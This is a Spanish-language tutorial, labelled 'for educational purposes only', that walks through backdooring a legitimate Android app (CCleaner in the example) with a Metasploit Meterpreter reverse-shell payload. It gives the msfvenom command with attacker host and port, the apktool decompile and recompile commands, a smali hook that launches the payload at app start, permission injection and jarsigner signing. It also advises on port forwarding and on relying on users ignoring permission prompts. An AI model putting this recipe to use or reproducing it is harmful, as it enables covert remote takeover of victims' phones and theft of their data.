SOLO PARA FIN DE LA EDUCACIÓN
Puedes hackear qué aplicación es simple, todo lo que necesitas es un sistema operativo Kali usando meterpreter
Aquí están los pasos básicos
1.Generar la carga útil de Meterpreter
2. Descompilar la carga útil y el apk original
3. Copie los archivos de carga útil a la apk original
4.Inyecte el gancho en la actividad apropiada del apk original
5.Inyecte los permisos en el archivo AndroidManifest.xml
6.compila el apk original
7. Firma el apk con Jarsigner
GENERAR LA CARGA DE PAGO:
En primer lugar, tenemos que hacer la carga útil de Meterpreter. Vamos a usar MSFVenom para esto. El comando es
msfvenom -p android / meterpreter / Payload_Type LHOST = IP_Address LPORT = Incoming_Port -o meterpreter.apk
Reemplace Payload_Type por cualquiera de las siguientes cargas disponibles. La función de todas estas cargas útiles es la misma, esencialmente todas son cargas útiles de Meterpreter, la diferencia está solo en el método que utilizan para conectarse a su sistema Kali. Los Payload_Types disponibles son:
1.reversetcp
2.reverse_http
3.reverse_https
Puedes usar cualquiera que quieras, voy a usar reverse_https como ejemplo.
Reemplace IP_Address por la dirección IP a la que se va a conectar la carga útil, es decir, la dirección IP del sistema del atacante. Si va a realizar este ataque a través de una red local (por ejemplo, si la víctima y el atacante están conectados al mismo punto de acceso WiFi), su IP local será suficiente. Para saber cuál es su IP local, ejecute el comando:
ifconfig
Si va a realizar este ataque a través de Internet, debe usar su dirección IP pública y configurar su enrutador correctamente (configurar el reenvío de puertos) para que su sistema sea accesible desde Internet. Para conocer su IP pública, solo google “Mi IP” y Google lo ayudarán.
Reemplace Incoming_Port con el puerto no. que desea que la carga útil utilice para conectarse a su sistema. Este puede ser cualquier puerto válido, excepto los reservados, como el puerto 80 (HTTP). Voy a usar 4895 como ejemplo.
Por lo tanto, ejecute el comando reemplazando las palabras clave con los valores apropiados y MSFVenom generará una carga útil “meterpreter.apk” en el directorio raíz. Tenga en cuenta que especificamos el nombre del archivo de salida usando el argumento “-o meterpreter.apk” en el comando, por lo que si lo desea, también puede nombrar cualquier otra cosa.
Paso 2 DESCOMPILA los APK:
Ahora tenemos que descompilar los APK, para esto vamos a usar APKTool. Descompila el código en un formato bastante legible para humanos y lo guarda en archivos .smali, y también extrae con éxito los archivos .xml. Suponiendo que ya ha instalado la última apktool y también tiene el archivo apk original en el directorio raíz, ejecute los siguientes comandos:
apktool d -f -o payload /root/meterpreter.apk
apktool d -f -o original / root / Original_APK_Name
Descompilará la carga útil en “/ root / payload” y el apk original en el directorio “/ root / original”.
Paso 3 COPIE LOS ARCHIVOS DE CARGA DE PAGO:
Ahora tenemos que copiar los archivos de carga útil a la carpeta de la aplicación original. Simplemente vaya a “/ root / payload / smali / com / metasploit / stage” y copie todos los archivos .smali cuyo nombre de archivo contenga la palabra ‘payload’. Ahora péguelos en “/ root / original / smali / com / metasploit / stage”. Tenga en cuenta que esta carpeta no existe, por lo que debe crearla.
Paso 4 INYECTE el GANCHO en el CÓDIGO ORIGINAL .SMALI:
En el paso anterior, simplemente copiamos los códigos de carga útil dentro del apk original, de modo que cuando se recompile el apk original, contendrá la carga útil. Pero eso no significa necesariamente que la carga útil se ejecutará. Para garantizar que la carga útil se ejecute, debemos inyectar un gancho en el código .smali del apk original. Si te estás preguntando de qué estoy hablando este gancho, bueno, esencialmente es un código que intercepta alguna llamada de función específica y reacciona a ella. En este caso, vamos a colocar el gancho para que cuando se inicie la aplicación, también se inicie la carga útil.
Para esto, primero tenemos que averiguar qué actividad, en pocas palabras, las actividades son secciones de código, es similar a los marcos en la programación de Windows que se ejecuta cuando se inicia la aplicación. Podemos obtener esta información del archivo AndroidManifest.xml.
Abra el archivo AndroidManifest.xml ubicado dentro de la carpeta “/ root / original” con cualquier editor de texto. Si conoce HTML, entonces este archivo le resultará familiar. Ambos son esencialmente Lenguajes de marcado, y ambos usan las etiquetas familiares y la estructura de atributos, por ejemplo, Contenido . De todos modos, busque una etiqueta que contenga ambas líneas:
_
_
En una nota al margen, puede usar CTRL + F para buscar dentro del documento en cualquier editor de texto GUI. Cuando localice esa actividad, observe el valor del atributo “android: nombre”. En mi caso, como puede ver en la captura de pantalla a continuación, es “com.piriform.ccleaner.ui.activity.MainActivity”.
Esas dos líneas que buscamos significan que esta es la actividad que comenzará cuando lancemos la aplicación desde el icono del iniciador, y también es una actividad PRINCIPAL similar a la función ‘principal’ en la programación tradicional.
Ahora que tenemos el nombre de la actividad en la que queremos inyectar el gancho, ¡vamos a ello! En primer lugar, abra el código .smali de esa actividad usando gedit. Simplemente abra una terminal y escriba –
gedit / root / original / smali / Activity_Path
Reemplace Activity_Path con el “android: nombre” de la actividad, pero en lugar de los puntos, escriba barra diagonal. En realidad, los códigos pequeños se almacenan en carpetas con el formato en el que se encuentra “android: name”, para que podamos obtener fácilmente la ubicación del código .smali de la manera que lo hicimos. Consulte la captura de pantalla a continuación y obtendrá una idea de lo que estoy tratando de decir.
Ahora busque la siguiente línea en el código smali usando CTRL + F –
; -> onCreate (Landroid / os / Bundle;) V
Cuando lo localice, pegue el siguiente código en la línea al lado:
invoke-static {p0}, Lcom / metasploit / stage / Payload; -> start (Landroid / content / Context;) V
Lo que estamos haciendo aquí es insertar un código que inicia la carga junto con el código existente que se ejecuta cuando comienza la actividad. Ahora, guarde el archivo pequeño editado.
Paso 5 INYECTE los PERMISOS NECESARIOS:
De desarrolladores de Android –
Se proporcionan características de seguridad adicionales más precisas a través de un mecanismo de “permiso” que impone restricciones sobre las operaciones específicas que puede realizar un proceso en particular.
Si no mencionamos todos los permisos adicionales que necesitará nuestra carga útil, no puede funcionar correctamente. Al instalar una aplicación, estos permisos se muestran al usuario. Pero a la mayoría de los usuarios no les importa leer todos esos textos aburridos, por lo que no tenemos que preocuparnos tanto.
Estos permisos también se enumeran en el archivo AndroidManifest encontrado anteriormente. Así que abramos el AndroidManifest.xml de la aplicación original y la carga útil de las carpetas respectivas. Los permisos se mencionan dentro de la etiqueta como un atributo ‘android: name’. Copie las líneas de permiso adicionales del Manifiesto de Android de la carga útil a la aplicación original. Pero tenga cuidado de que no haya ningún duplicado.
Aquí está el Manifiesto de Android de mi aplicación original antes de editarlo:
Después de agregar los adicionales del AndroidManifest de Payload, mi /root/original/AndroidManifest.xml se ve así:
Paso 6 RECOMPILA el APK ORIGINAL:
¡Ahora todas las partes duras están listas! Solo tenemos que recompilar la aplicación backdoored en un apk instalable. Ejecute el siguiente comando:
apktool b / root / original
Ahora tendrá el apk compilado dentro del directorio “/ root / original / dist”. Pero todavía no hemos terminado.
Paso 7 FIRME el APK:
Este también es un paso muy importante, ya que en la mayoría de los casos, no se puede instalar un apk sin firmar. De desarrolladores de Android –
Android requiere que todas las aplicaciones estén firmadas digitalmente con un certificado antes de poder instalarse. Android usa este certificado para identificar al autor de una aplicación, y el certificado no necesita ser firmado por una autoridad de certificación. Las aplicaciones de Android a menudo usan certificados autofirmados. El desarrollador de la aplicación posee la clave privada del certificado.
En este caso, vamos a firmar el apk con la clave de depuración de Android predeterminada. Simplemente ejecute el siguiente comando:
jarsigner -verbose -keystore ~ / .android / debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA apk_path androiddebugkey
Asegúrese de reemplazar el apk_path en el comando anterior con la ruta a su archivo apk backdoored.